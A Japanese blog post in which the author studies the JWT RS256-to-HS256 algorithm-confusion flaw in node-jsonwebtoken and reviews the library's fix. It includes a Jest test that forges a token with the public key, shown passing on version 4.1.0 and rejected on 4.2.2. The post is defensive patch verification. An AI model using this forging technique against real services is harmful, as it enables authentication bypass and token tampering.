JWTライブラリの危機的な脆弱性について調べた

`JWT 脆弱性` で検索すると [【翻訳】JSON Web Tokenライブラリの危機的な脆弱性](https://www.eisbahn.jp/yoichiro/2015/09/jwt_vulnerability.html) って記事(4年ぐらい前の記事)が出てきて読んでいたのですが、よくわからなかったので手を動かしながら調べてみました。
※ 翻訳の元記事は[こちら](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)

> node-jsonwebtoken, pyjwt, namshi/jose, php-jwt, jsjwtを非対称の鍵(RS256, RS384, RS512, ES256, ES384, ES512)で使っている場合、最新のバージョンに更新してください。

とのことなので、バージョン更新で直ったようなので修正を読んでいきます。
また、 js を利用して開発する機会が多いので node-jsonwebtoken の修正を確認してみます。

確認したコードは下記にあります。
https://github.com/OshiroSeiya/jsonwebtoken-audit-check

# 脆弱性の概要を知る

none アルゴリズムの話は飛ばします。元記事の内容を見たほうが良いです。

RS256 アルゴリズムを利用して JWT を発行している場合に攻撃者が HS256 アルゴリズムを利用して発行した JWT のチェックが通ってしまう問題があります。
RS256 は JWT を発行するのは秘密鍵を用いて発行し、チェックには公開鍵を利用します。
一報 HS256 は JWT を発行する時とチェックに利用する鍵が同じになります。

認証側のチェックが下記のようになっていた場合
※ TOKEN: 発行されたJWT
※ KEY: はチェックの際に利用する鍵です

```javascript
jwt.verify(TOKEN, KEY)
```

利用するアルゴリズムが TOKEN の方に入っているためチェックの際に RS256 で検証するべきなのか HS256 で検証するべきなのか判断します。
RS256 でTOKENを発行する仕組みになっている場合、攻撃者が HS256 のアルゴリズムで公開鍵(利用用途的に公開されているので誰でも取得可能)を用いて TOKEN を発行するとチェックする際に HS256 を用いてチェックされ KEY は同じ公開鍵を利用するためチェックが通ってしまうことになり、改ざんが可能になるということみたいです。

# 対応されたライブラリのPRなどを見る

修正は下記のようです。
https://github.com/auth0/node-jsonwebtoken/pull/69
https://github.com/auth0/node-jsonwebtoken/commit/7017e74db9b194448ff488b3e16468ada60c4ee5
https://github.com/auth0/node-jsonwebtoken/pull/71

この修正が入る以前と以後のライブラリを利用して挙動の確認とどういう対策が行われたのかを確認してきます。

修正前: 4.1.0 (https://github.com/auth0/node-jsonwebtoken/tree/b69d441c6e5e4b2efaafde682b4b9670ac3bcb51)
修正後: 4.2.2 (https://github.com/auth0/node-jsonwebtoken/tree/e46ca6634447cf6a5b7f08298aa2f2450b8df704)

# 修正前のバージョンで問題が起きることを確認する

4.2.0で追加されたコードは下記でした。
https://github.com/auth0/node-jsonwebtoken/pull/69/files

```javascript
  if (!options.algorithms) {
    options.algorithms = ~secretOrPublicKey.toString().indexOf('BEGIN CERTIFICATE') ?
                        [ 'RS256','RS384','RS512','ES256','ES384','ES512' ] :
                        [ 'HS256','HS384','HS512' ];
  }
```

```javascript
  var header = jws.decode(jwtString).header;
  if (!~options.algorithms.indexOf(header.alg)) {
    return done(new JsonWebTokenError('invalid signature'));
  }
```

要するに jwt.verify メソッドを利用する時の `secretOrPublicKey` の値に `BEGIN CERTIFICATE` が含まれる場合は `[ 'RS256','RS384','RS512','ES256','ES384','ES512' ]` のみ利用できるようになるということですね。
※ 4.2.1で `BEGIN PUBLIC KEY` が含まれる場合の処理も追加されていますがやりたいことは同じなので飛ばします。
※ 4.2.2で `BEGIN RSA PUBLIC KEY` が含まれる場合の処理が追加されていますがやりたいことは同じなので飛ばします。

4.2.0で追加されたテストを見ます。
https://github.com/auth0/node-jsonwebtoken/pull/69/files#diff-f676fb748f383a87d0f55bec4f266023

テストコードを書きながらためしたほうが僕は理解しやすいので下記のようにコードを書きました。
※ 公開鍵と秘密鍵はテストで利用されていたものと同じものを利用しています。
https://github.com/OshiroSeiya/jsonwebtoken-audit-check/blob/master/src/4.1.0/index.test.js

```javascript
const fs = require('fs');
const path = require('path');
const jwt = require('jsonwebtoken');

// 公開鍵
const PUB = fs.readFileSync(path.join(__dirname, 'pub.pem'), 'utf8');
// 秘密鍵
const PRIV = fs.readFileSync(path.join(__dirname, 'priv.pem'), 'utf8');
// payload
const payload = {
  foo: "bar"
};

test('サーバー側で署名した TOKEN がチェックを通過し payload が取得できる', () => {
  // サーバー側で秘密鍵を利用し、アルゴリズムを RS256 で署名した TOKEN
  const RS256_TOKEN = jwt.sign(payload, PRIV, {algorithm: 'RS256'});

  expect(jwt.verify(RS256_TOKEN, PUB)).toEqual(payload);
});

test('攻撃者が署名した TOKEN がチェックを通過し payload が取得できる', () => {
  // 攻撃者がRS256の公開鍵を利用し、アルゴリズムを HS256 で署名したTOKEN
  // ※HS256はdefaultのアルゴリズムですがわかりやすいように設定
  const HS256_TOKEN = jwt.sign(payload, PUB, {algorithm: 'HS256'});

  expect(jwt.verify(HS256_TOKEN, PUB)).toEqual(payload);
});
```

```bash
PASS  ./index.test.js
  √ サーバー側で署名した TOKEN がチェックを通過し payload が取得できる (9ms)
  √ 攻撃者が署名した TOKEN がチェックを通過し payload が取得できる (1ms)

Test Suites: 1 passed, 1 total
Tests:       2 passed, 2 total
Snapshots:   0 total
Time:        4.022s
Ran all test suites.
```

しっかりと攻撃者が署名した TOKEN がチェックを通過し payload が取得することができています。

# 修正後のバージョンで問題が起きないことを確認する

先程作ったテストを 4.2.2 に node-jsonwebtoken をアップデートしてテストを実行してみます。

```bash
 FAIL  ./index.test.js
  √ サーバー側で署名した TOKEN がチェックを通過し payload が取得できる (9ms)
  × 攻撃者が署名した TOKEN がチェックを通過し payload が取得できる (4ms)

  ● 攻撃者が署名した TOKEN がチェックを通過し payload が取得できる

    JsonWebTokenError: invalid signature

      24 |   const HS256_TOKEN = jwt.sign(payload, PUB, {algorithm: 'HS256'});
      25 | 
    > 26 |   expect(jwt.verify(HS256_TOKEN, PUB)).toEqual(payload);
         |              ^
      27 | });
      28 | 

      at Object.<anonymous>.module.exports.verify (node_modules/jsonwebtoken/index.js:141:17)
      at Object.verify (index.test.js:26:14)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 1 passed, 2 total
Snapshots:   0 total
Time:        3.199s
Ran all test suites.
npm ERR! Test failed.  See above for more details.
```

結果、攻撃者が署名した TOKEN はしっかりとエラーになっていることが確認できました。

# まとめ

記載されていた通り、 `node-jsonwebtoken` の新しいバージョンであれば問題は起きなくなっていました。
ライブラリで対応(利用できるアルゴリズムを絞る)されてはいますが、仕様的には今後も起きる可能性はなくはないと思われます。
ライブラリを利用するときは対策されているか確認してみると良さそうです。